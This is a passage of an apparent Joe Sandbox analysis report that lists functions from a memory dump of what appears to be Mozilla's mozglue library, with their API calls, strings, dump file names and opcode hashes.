moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B0630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C6B0533), ref: 6C6B06CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6C6B0533), ref: 6C6B07C2

Strings

a.8/, xrefs: 6C6B0640

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: a.8/
API String ID: 1766480654-2801666753
Opcode ID: a6fd00cd41b172246b74c8ed27d111df21fc035b65f7fa6bf5fe7543e1d01497
Instruction ID: 0ef523ec782f5b225ec35c31da2f8932f602c1c439368f5df2e083f0fdcdcf9a
Opcode Fuzzy Hash: a6fd00cd41b172246b74c8ed27d111df21fc035b65f7fa6bf5fe7543e1d01497
Instruction Fuzzy Hash: 4861CCB5A087019FD700DF25C48065ABBE6FF89318F10492DE985A7B41DB70EC19CB9A

Function 6C65BD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

a.8/, xrefs: 6C65BD57
0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$a.8/
API String ID: 2811501404-2392223087
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C698CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C698D02
moz_xmalloc.MOZGLUE(00000080,?,6C69D9A8), ref: 6C698D38
InitializeConditionVariable.KERNEL32(00000000,?,?,?,6C69D9A8), ref: 6C698D59

Strings

a.8/, xrefs: 6C698CF8

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionCurrentInitializeThreadVariablemoz_xmalloc
String ID: a.8/
API String ID: 3275805834-2801666753
Opcode ID: dd22d63a7cb1285b7b973c551ea174fc1946c01be4296dfa6533f99dd7c56f34
Instruction ID: a447ca71e2c4ade23aba42f8462febfbdac80df9bc63862dfcce4519d421ad3b
Opcode Fuzzy Hash: dd22d63a7cb1285b7b973c551ea174fc1946c01be4296dfa6533f99dd7c56f34
Instruction Fuzzy Hash: 3B21C230A007058FCB10CF2AC4846AAB7F1FF9A304F10852ED58697721EB70B549CF99

Function 6C6B9650 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B9675
_dtest.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B968E
?fromString@Decimal@blink@@SA?AV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE(?), ref: 6C6B96F6

Strings

a.8/, xrefs: 6C6B9663

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _dtest$?fromD@2@@std@@@D@std@@Decimal@blink@@String@U?$char_traits@V12@V?$allocator@V?$basic_string@
String ID: a.8/
API String ID: 1331236360-2801666753
Opcode ID: ab987f61a3ebc2ad09455858779b35f07f1758d738bb85592ead1a2ea90a8366
Instruction ID: dd7da41d83a8cfff9cb9e0b0d23cf2b2f0c153736550759497e6ab33959b4711
Opcode Fuzzy Hash: ab987f61a3ebc2ad09455858779b35f07f1758d738bb85592ead1a2ea90a8366
Instruction Fuzzy Hash: AC118E70A00A059BC711DF39D81159BF7F4EF4B314F00C62DE8AAA7750EB30A169CB9A

Function 6C6BB4C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C660A40), ref: 6C6BB52D
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,00000002,?,6C660A40), ref: 6C6BB556
__Init_thread_footer.LIBCMT ref: 6C6BB569

Strings

a.8/, xrefs: 6C6BB4CB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: InfoInit_thread_footerProtectSystemVirtual
String ID: a.8/
API String ID: 1391590832-2801666753
Opcode ID: a02707ab2044132a00fc326307ee69768fadf8f1c876362e54799266d5ffc72a
Instruction ID: 95c70d6579cd34e01e6d1a7854fbda2203c67edfbfdd5dafc59a07acae5c3074
Opcode Fuzzy Hash: a02707ab2044132a00fc326307ee69768fadf8f1c876362e54799266d5ffc72a
Instruction Fuzzy Hash: 66119031A006059FCB10DF5AD9C09AAB7F1FB8A318F040529E90997741D732B955CFAF

Function 6C693CF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

a.8/, xrefs: 6C693CFE
d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: a.8/$d
API String ID: 3471241338-3369795575
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6BAE70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6BAE85
EnterCriticalSection.KERNEL32(6C6DF770,?,6C67C034), ref: 6C6BAE96
LeaveCriticalSection.KERNEL32(6C6DF770,?,?,?,?,6C67C034), ref: 6C6BAEBD

Strings

a.8/, xrefs: 6C6BAE7B

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread
String ID: a.8/
API String ID: 2351996187-2801666753
Opcode ID: 1d474f4bfae8dc45b6f157117323fcca674f47e7594dd812694c97f452bd5357
Instruction ID: 419808d0c28f981a5a7ac0acc16cda5e716904ffd02a0d61c4a0cc2c6925fac5
Opcode Fuzzy Hash: 1d474f4bfae8dc45b6f157117323fcca674f47e7594dd812694c97f452bd5357
Instruction Fuzzy Hash: 93F068B5E002199BCF009F69D88999BBBB9EF89255B010419E505D7301D731F805C7E9

Function 6C69F410 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F440
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

a.8/, xrefs: 6C69F07C, 6C69F1BA, 6C69F32A, 6C69F41A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$ExclusiveLockThread$Timegetenv$AcquireProcessReleaseStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@Init_thread_footerNow@Stamp@mozilla@@TerminateV12@_
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling$a.8/
API String ID: 200552284-677034394
Opcode ID: 1a99f164e1587aae28f5994a0890053ec15537a81531a945be9e96cdafba0ecc
Instruction ID: 599f6f97c12b80808a5025993e61484c0e4a6f50c9ccaa6a1376c89684aa386f
Opcode Fuzzy Hash: 1a99f164e1587aae28f5994a0890053ec15537a81531a945be9e96cdafba0ecc
Instruction Fuzzy Hash: 5AF09031610215CFCB109F6A988439977B4EF8A76AF450619EA1193783DB307809CBEF

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C664C00 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

